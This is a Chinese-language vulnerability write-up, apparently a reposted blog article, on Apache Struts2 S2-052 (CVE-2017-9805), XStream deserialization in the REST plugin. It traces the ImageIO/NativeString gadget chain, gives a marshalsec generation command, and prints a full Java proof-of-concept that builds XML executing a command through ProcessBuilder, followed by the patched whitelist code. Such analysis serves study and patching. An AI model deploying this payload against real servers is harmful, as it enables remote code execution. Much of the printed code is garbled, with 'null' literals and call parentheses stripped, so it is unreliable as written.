楠木軒

Struts2漏洞系列之「S2-052」REST插件遠程執行命令漏洞

由 務高林 發佈於 科技

Smi1e@Pentes7eam

漏洞信息:https://cwiki.apache.org/confluence/display/WW/S2-052

當Struts2使用了 Struts2-Rest-Plugin插件時,如果http請求的Content-type為application/xml,則會使用XStreamHandler解析器實例化XStream對象來反序列化處理我們傳入的XML數據,且在默認情況下是可以引入任意對象的(針對1.5.x以前的版本),因此我們可以通過反序列化引入任意類造成遠程命令執行漏洞。

漏洞復現

影響範圍

Struts 2.1.2 - 2.3.33,Struts 2.5 - 2.5.12

漏洞分析

Struts2-Rest-Plugin是讓Struts2能夠實現Restful API的一個插件,其根據Content-Type或URI擴展名來判斷用户傳入的數據包類型,可以看到xml格式的處理器對應

org.apache.struts2.rest.handler.XStreamHandler

org.apache.struts2.rest.handler.XStreamHandler.java

package org.apache.struts2.rest.handler;

import com.thoughtworks.xstream.XStream;

import java.io.IOException;

import java.io.Reader;

import java.io.Writer;

public class XStreamHandler implements ContentTypeHandler {

public XStreamHandler {

}

public String fromObject(Object obj, String resultCode, Writer out) throws IOException {

if (obj != ) {

XStream xstream = this.createXStream;

xstream.toXML(obj, out);

}

return ;

}

public void toObject(Reader in, Object target) {

XStream xstream = this.createXStream;

xstream.fromXML(in, target);

}

protected XStream createXStream {

return new XStream;

}

public String getContentType {

return ''application/xml'';

}

public String getExtension {

return ''xml'';

}

}

toObject方法調用XStream反序列化XML獲得對象,fromObject方法調用XStream序列化對象為XML。

在 Struts2-Rest-Plugin插件的攔截器

org.apache.struts2.rest.ContentTypeInterceptor

中下斷點。獲取到請求解析器之後,如果請求體長度不為0則調用其 toObject方法。

然後就到了 XStreamHandler的toObject方法中,並調用xstream.fromXML(in, target);把我們傳入的XML數據進行反序列化且並沒有做任何限制。

前面的觸發流程很簡單,後面主要就是XML反序列化payload構造。java unmarshal反序列化利用工具 marshalsec 可以生成 XStream 的很多 gadgets。

上面的poc利用的是 ImageIO這條gadgets。

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream ImageIO calc

調用棧

XStream反序列化的邏輯,實際上是解析XML DOM重組對象的一個過程。流程比較複雜,這裏僅大致寫一下。

跟到 MapConverter中的putCurrentEntryIntoMap方法

因為我們最終將 NativeString對象放到了hashMap裏然後對hashMap進行序列化,所以當反序列化重組對象的時候,會觸發NativeString的hashCode方法。

public int hashCode {

return this.getStringValue.hashCode;

}

private String getStringValue {

return this.value instanceof String ? (String)this.value : this.value.toString;

}

這裏的 value是payload中傳入的

com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data

的對象,所以進入 Base64Data的toString方法,跟進get方法。

public String toString {

this.get;

return DatatypeConverterImpl._printBase64Binary(this.data,0, this.dataLen);

}

解析出我們傳入的 dataSource對象並返回CipherInputStream對象,然後傳給baos.readFrom

繼續跟到 FilterIterator的next方法,advance會調用FilterIterator$Filter的filter方法。此時的FilterIterator$Filter是我們傳入的

javax.imageio.ImageIO$ContainsFilter

public T next {

if (next == ) {

throw new NoSuchElementException;

}

T o = next;

advance;

return o;

}

private void advance {

while (iter.hasNext) {

T elt = iter.next;

if (filter.filter(elt)) {

next = elt;

return;

}

}

next = ;

}

參數 elt則是我們payload中傳入的java.lang.ProcessBuilder對象,最終調用

javax.imageio.ImageIO$ContainsFilter

的 filter方法反射執行命令,其中的method也是我們傳入的java.lang.ProcessBuilder類的start方法。

poc生成代碼如下

import com.thoughtworks.xstream.XStream;

import sun.reflect.ReflectionFactory;

import javax.activation.DataHandler;

import javax.activation.DataSource;

import javax.crypto.Cipher;

import javax.crypto.CipherInputStream;

import javax.crypto.Cipher;

import java.io.InputStream;

import java.lang.reflect.*;

import java.util.Collections;

import java.util.HashMap;

public class ImageIOPayload {

public static void main(String[] args) throws Exception {

ProcessBuilder pb = new ProcessBuilder(new String[]{''open'',''-a'',''calculator''});

Class cfCl = Class.forName(''javax.imageio.ImageIO$ContainsFilter'');

Constructor cfCons = cfCl.getDeclaredConstructor(Method.class, String.class);

cfCons.setAccessible(true);

Object filterIt = makeFilterIterator(

makeFilterIterator(Collections.emptyIterator, pb, ),

''foo'',

cfCons.newInstance(ProcessBuilder.class.getMethod(''start''), ''foo'')

);

HashMap map = makeIteratorTriggerNative(filterIt);

XStream xs = new XStream;

String xml = xs.toXML(map);

System.out.println(xml);

xs.fromXML(xml);

}

public static Object makeFilterIterator(Object backingIt, Object first, Object filter) throws Exception {

Class fiCl = Class.forName(''javax.imageio.spi.FilterIterator'');

Object filterIt = createWithoutConstructor(fiCl);

setFieldValue(filterIt, ''iter'', backingIt);

setFieldValue(filterIt, ''next'', first);

setFieldValue(filterIt, ''filter'', filter);

return filterIt;

}

public static HashMap makeIteratorTriggerNative(Object it) throws Exception {

Cipher m = (Cipher) createWithoutConstructor(Cipher.class);

setFieldValue(m, ''serviceIterator'', it);

setFieldValue(m, ''lock'', new Object);

InputStream cos = new CipherInputStream(, m);

Class niCl = Class.forName(''java.lang.ProcessBuilder$InputStream'');//$NON-NLS-1$

Constructor niCons = niCl.getDeclaredConstructor;

niCons.setAccessible(true);

setFieldValue(cos, ''input'', niCons.newInstance);

setFieldValue(cos, ''ibuffer'', new byte[0]);

Class c = Class.forName(''com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'');

Object b64Data = createWithoutConstructor(c);

c = Class.forName(''com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'');

DataSource ds = (DataSource) createWithoutConstructor(c);//$NON-NLS-1$

setFieldValue(ds, ''is'', cos);

setFieldValue(b64Data, ''dataHandler'', new DataHandler(ds));

setFieldValue(b64Data, ''data'', );

c = Class.forName(''jdk.nashorn.internal.objects.NativeString'');

Object nativeString = createWithoutConstructor(c);

setFieldValue(nativeString, ''value'', b64Data);

return makeMap(nativeString, nativeString);

}

public static Object createWithoutConstructor(Class c) throws IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException {

Constructor objCons = Object.class.getDeclaredConstructor(new Class[0]);

objCons.setAccessible(true);

Constructor sc = ReflectionFactory.getReflectionFactory

.newConstructorForSerialization(c, objCons);

sc.setAccessible(true);

return sc.newInstance(new Object[0]);

}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {

Field field = getField(obj.getClass, fieldName);

field.setAccessible(true);

field.set(obj, value);

}

public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {

final Field field = getField(obj.getClass, fieldName);

return field.get(obj);

}

public static Field getField ( final Class clazz, final String fieldName ) throws Exception {

try {

Field field = clazz.getDeclaredField(fieldName);

if ( field != )

field.setAccessible(true);

else if ( clazz.getSuperclass != )

field = getField(clazz.getSuperclass, fieldName);

return field;

}

catch ( NoSuchFieldException e ) {

if ( !clazz.getSuperclass.equals(Object.class) ) {

return getField(clazz.getSuperclass, fieldName);

}

throw e;

}

}

public static HashMap makeMap (Object v1, Object v2 ) throws Exception{

HashMap s = new HashMap;

setFieldValue(s, ''size'',2);

Class nodeC;

try {

nodeC = Class.forName(''java.util.HashMap$Node'');

}

catch ( ClassNotFoundException e ) {

nodeC = Class.forName(''java.util.HashMap$Entry'');

}

Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);

nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC,2);

Array.set(tbl,0, nodeCons.newInstance(0, v1, v1, ));

Array.set(tbl,1, nodeCons.newInstance(0, v2, v2, ));

setFieldValue(s, ''table'', tbl);

return s;

}

}

漏洞修復

在 XStreamHandler類中修改了createXStream方法

protected XStream createXStream(ActionInvocation invocation) {

XStream stream = new XStream;

LOG.debug(''Clears existing permissions'');

stream.addPermission(NoTypePermission.NONE);

LOG.debug(''Adds per action permissions'');

addPerActionPermission(invocation, stream);

LOG.debug(''Adds default permissions'');

addDefaultPermissions(invocation, stream);

return stream;

}

新添代碼的主要作用是將 xml中的數據白名單化,把Collection和Map、一些基礎類、時間類放在白名單中,這樣就能阻止XStream反序列化的過程中帶入一些有害類。

private void addPerActionPermission(ActionInvocation invocation, XStream stream) {

Object action = invocation.getAction;

if (action instanceof AllowedClasses) {

Set<Class> allowedClasses = ((AllowedClasses) action).allowedClasses;

stream.addPermission(new ExplicitTypePermission(allowedClasses.toArray(new Class[allowedClasses.size()])));

}

if (action instanceof AllowedClassNames) {

Set allowedClassNames = ((AllowedClassNames) action).allowedClassNames;

stream.addPermission(new ExplicitTypePermission(allowedClassNames.toArray(new String[allowedClassNames.size()])));

}

if (action instanceof XStreamPermissionProvider) {

Collection permissions = ((XStreamPermissionProvider) action).getTypePermissions;

for (TypePermission permission : permissions) {

stream.addPermission(permission);

}

}

}

protected void addDefaultPermissions(ActionInvocation invocation, XStream stream) {

stream.addPermission(new ExplicitTypePermission(new Class{invocation.getAction.getClass}));

if (invocation.getAction instanceof ModelDriven) {

stream.addPermission(new ExplicitTypePermission(new Class{((ModelDriven) invocation.getAction).getModel.getClass}));

}

stream.addPermission(Permission.);

stream.addPermission(PrimitiveTypePermission.PRIMITIVES);

stream.addPermission(ArrayTypePermission.ARRAYS);

stream.addPermission(CollectionTypePermission.COLLECTIONS);

stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));

}

private static class CollectionTypePermission implements TypePermission {

private static final TypePermission COLLECTIONS = new CollectionTypePermission;

@Override

public boolean allows(Class type) {

return type != && type.isInterface &&

(Collection.class.isAssignableFrom(type) || Map.class.isAssignableFrom(type));

}

}

Referer

CVE-2017-9805:Struts2 REST插件遠程執行命令漏洞(S2-052) 分析報告

Apache Struts2 S2-052(CVE-2017-9805)遠程代碼執行漏洞

https://www.easyaq.com